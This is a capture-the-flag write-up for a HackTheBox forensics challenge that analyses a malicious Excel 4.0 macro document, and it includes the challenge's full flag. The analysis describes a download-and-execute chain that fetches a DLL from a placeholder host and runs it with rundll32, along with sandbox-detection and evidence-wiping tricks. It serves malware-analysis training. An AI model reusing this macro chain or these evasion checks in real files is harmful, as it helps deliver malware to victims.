oBfsC4t10n2
hackthebox
Task: analyze a malicious .xls file with obfuscated Excel 4.0 (XLM) macros on a very hidden sheet. Solution: use olevba and XLMMacroDeobfuscator to trace execution flow, then extract scattered flag characters from cells referenced by CONCATENATE formulas using xlrd2, combining three parts from the ShellExecuteA payload argument.
$ ls tags/ techniques/
oBfsC4t10n2 — HackTheBox
Description
The challenge provides a password-protected ZIP (hackthebox) containing oBfsC4t10n2.xls — a Composite Document File V2 (OLE format Excel file). The document uses Excel 4.0 (XLM) macros — a legacy macro format predating VBA — with heavy obfuscation and anti-analysis techniques. Author metadata shows 0xdf.
Analysis
Step 1: Initial Recon
file oBfsC4t10n2.xls # Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, # Code page: 1252, Author: 0xdf
The file is an OLE-format Excel workbook (.xls), not the modern OOXML format (.xlsx/.xlsm). This is significant because Excel 4.0 macros can only exist in the old binary format.
Step 2: Identify Excel 4.0 (XLM) Macros
Using olevba to scan for macros:
olevba oBfsC4t10n2.xls
Key findings from olevba output:
- No VBA macros — this is NOT a VBA document
BOUNDSHEET: Excel 4.0 macro sheet, very hidden - c1zB0vasN— a macro sheet hidden at the deepest level (not visible even via right-click "Unhide")BOUNDSHEET: worksheet or dialog sheet, visible - invoic— the visible decoy sheetAuto_Opendefined name pointing toinvoic!N545— execution entry point- Named ranges:
agawf23f,KsshpqC4Mo,Lsl23Us7a,rstegerg3— all pointing to various cells in the hidden sheet
Step 3: XLM Macro Deobfuscation
Installed and ran XLMMacroDeobfuscator to emulate the XLM macros:
pip3 install xlmmacrodeobfuscator xlmdeobfuscator --file oBfsC4t10n2.xls
The deobfuscated execution flow reveals a sophisticated multi-stage payload:
- N545:
WORKBOOK.HIDE("c1zB0vasNO",TRUE)— hides the macro sheet at runtime - N546:
GET.WORKSPACE(1)— retrieves OS information string - N547: Checks if running on Windows, otherwise calls
CLOSE(FALSE)to abort - D8:
IF(GET.WORKSPACE(42), CONCATENATE(E394,F1194,F549,E635,O697,U208,T458,M868,Z4,U777), ...)— constructs first flag fragment from cells scattered across the sheet; branches on sound capability (sandbox detection) - D9:
GET.WORKSPACE(13)— retrieves screen width in pixels - D10 → C1300 → Q222: GOTO chain jumping between distant cells; checks
GET.WORKSPACE(19)(mouse presence — another sandbox indicator) - T698: Checks if screen width < 700 pixels (sandbox/VM detection — real monitors are wider)
- D1337: Additional sandbox check
- D1023:
IF(ISNUMBER(SEARCH("6.1",N546)), CONCATENATE(Z699,L932,...), CONCATENATE(A699,E932,...))— constructs second flag fragment, branching on Windows version (6.1 = Windows 7) - R1186–R1192: The actual payload execution:
GET.WORKSPACE(1)and check for "7.0"CreateDirectoryA("C:\rncwner")andCreateDirectoryA("C:\rncwner\CkkYKlI")URLDownloadToFileAdownloads fromhttp://0b.htb/s.dlltoC:\rncwner\CkuiQhTXx.dllShellExecuteArunsrundll32.exewith the DLL and an entry point constructed from D8 + middle literal + D1023
- A1338:
FORMULA.FILL("a", A1:Z1337)— evidence destruction — overwrites all 1337×26 cells with "a" - A1339:
HALT()— stops macro execution
Step 4: Extract Cell Values to Reconstruct Flag
The flag characters are scattered across hundreds of cells in the very hidden sheet. Used xlrd2 to read the actual cell values before the FORMULA.FILL destruction would wipe them:
import xlrd2 as xlrd wb = xlrd.open_workbook('oBfsC4t10n2.xls') sh = wb.sheet_by_name('c1zB0vasNo') def col_to_idx(col_letter): result = 0 for c in col_letter.upper(): result = result * 26 + (ord(c) - ord('A') + 1) return result - 1 def get_cell(col_letter, row_num): col_idx = col_to_idx(col_letter) row_idx = row_num - 1 val = sh.cell_value(row_idx, col_idx) return str(val) if val != '' else '' # D8 TRUE branch: CONCATENATE(E394,F1194,F549,E635,O697,U208,T458,M868,Z4,U777) cells_d8 = [ ('E',394), ('F',1194), ('F',549), ('E',635), ('O',697), ('U',208), ('T',458), ('M',868), ('Z',4), ('U',777) ] d8 = ''.join(get_cell(c, r) for c, r in cells_d8) print(f"D8 = '{d8}'") # Result: ' HTB{n0w_e' # D1023 TRUE branch (Win 6.1): CONCATENATE(Z699,L932,J1190,C574,J644,A718,E813) cells_d1023 = [ ('Z',699), ('L',932), ('J',1190), ('C',574), ('J',644), ('A',718), ('E',813) ] d1023 = ''.join(get_cell(c, r) for c, r in cells_d1023) print(f"D1023 = '{d1023}'") # Result: 'cr0s_r_b4cK' # Middle part: literal string from ShellExecuteA argument between D8 and D1023 references middle = "Xc3l_4.0_M4" flag = d8.strip() + middle + d1023 + "}" print(f"Flag: {flag}")
The ShellExecuteA call at R1191 constructs the rundll32 argument as:
DLL_path + D8_value + Xc3l_4.0_M4 + D1023_value + }
Where D8 and D1023 are resolved from the CONCATENATE formulas referencing scattered cells.
Solution
#!/usr/bin/env python3 """ oBfsC4t10n2 — HackTheBox Forensics Challenge Solution Excel 4.0 (XLM) macro deobfuscation and flag reconstruction """ import xlrd2 as xlrd wb = xlrd.open_workbook('oBfsC4t10n2.xls') sh = wb.sheet_by_name('c1zB0vasNo') def col_to_idx(col_letter): """Convert Excel column letter(s) to 0-based index""" result = 0 for c in col_letter.upper(): result = result * 26 + (ord(c) - ord('A') + 1) return result - 1 def get_cell(col_letter, row_num): """Read cell value by Excel-style reference (e.g., 'E', 394)""" col_idx = col_to_idx(col_letter) row_idx = row_num - 1 val = sh.cell_value(row_idx, col_idx) return str(val) if val != '' else '' # Part 1: D8 TRUE branch # CONCATENATE(E394, F1194, F549, E635, O697, U208, T458, M868, Z4, U777) cells_d8 = [ ('E',394), ('F',1194), ('F',549), ('E',635), ('O',697), ('U',208), ('T',458), ('M',868), ('Z',4), ('U',777) ] d8 = ''.join(get_cell(c, r) for c, r in cells_d8) # Part 2: Middle literal from ShellExecuteA argument middle = "Xc3l_4.0_M4" # Part 3: D1023 TRUE branch (Windows 6.1 path) # CONCATENATE(Z699, L932, J1190, C574, J644, A718, E813) cells_d1023 = [ ('Z',699), ('L',932), ('J',1190), ('C',574), ('J',644), ('A',718), ('E',813) ] d1023 = ''.join(get_cell(c, r) for c, r in cells_d1023) # Reconstruct flag flag = d8.strip() + middle + d1023 + "}" print(f"Flag: {flag}") # HTB{n0w_eXc3l_4.0_M4cr0s_r_b4cK}
Anti-Analysis Techniques
This document employs 8 distinct anti-analysis techniques:
- Very hidden sheet — the macro sheet
c1zB0vasNis set to "very hidden" (type 2), not visible even via right-click Unhide in Excel; requires VBA editor or hex editing to reveal - Environment fingerprinting —
GET.WORKSPACE()calls check OS (1), screen width (13), mouse presence (19), and sound capability (42) - Sandbox detection — screen width < 700px check catches headless VMs and sandboxes with minimal display
- Mouse presence check —
GET.WORKSPACE(19)detects automated environments without mouse input - Scattered data storage — flag characters distributed across 1337 rows x 26 columns, requiring full sheet parsing
- Conditional branching — different CONCATENATE paths based on Windows version (6.1 = Win7 vs others)
- Evidence destruction —
FORMULA.FILL("a", A1:Z1337)overwrites all cells after payload execution - GOTO chains — execution jumps between distant cells (D10 → C1300 → Q222) to confuse static analysis
- Time delays —
ON.TIMEwith 2-second delays between stages to evade time-limited sandboxes
Key Indicators
This technique is useful when:
- Analyzing
.xlsfiles (OLE format, not OOXML) with no VBA macros but suspicious behavior olevbareportsBOUNDSHEET: Excel 4.0 macro sheet— confirms XLM macros- Sheet visibility is "very hidden" (type 2) — strong indicator of malicious intent
Auto_OpenorAuto_Closedefined names point to unexpected cells- Multiple
GET.WORKSPACE()calls indicate environment fingerprinting CALL()function references WinAPI functions likeURLDownloadToFileA,ShellExecuteA,CreateDirectoryAFORMULA.FILLused to overwrite large cell ranges (evidence destruction)- Named ranges with random-looking names (
agawf23f,KsshpqC4Mo)
Tools Used
- olevba (oletools): Initial macro detection, BOUNDSHEET enumeration, XLM record parsing
- XLMMacroDeobfuscator: XLM macro emulation engine — traces execution flow, resolves GOTO chains, evaluates IF conditions
- xlrd2: Python library for reading .xls binary format — direct cell value extraction from hidden sheets
- Python 3: Scripting for cell reference resolution and flag reconstruction
References
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [forensics][free]Diagnostic— hackthebox
- [forensics][free]emo— hackthebox
- [pwn][free]0xDiablos— hackthebox
- [misc][Pro]Who4reu— TaipanByte
- [forensics][free]Obscure— hackthebox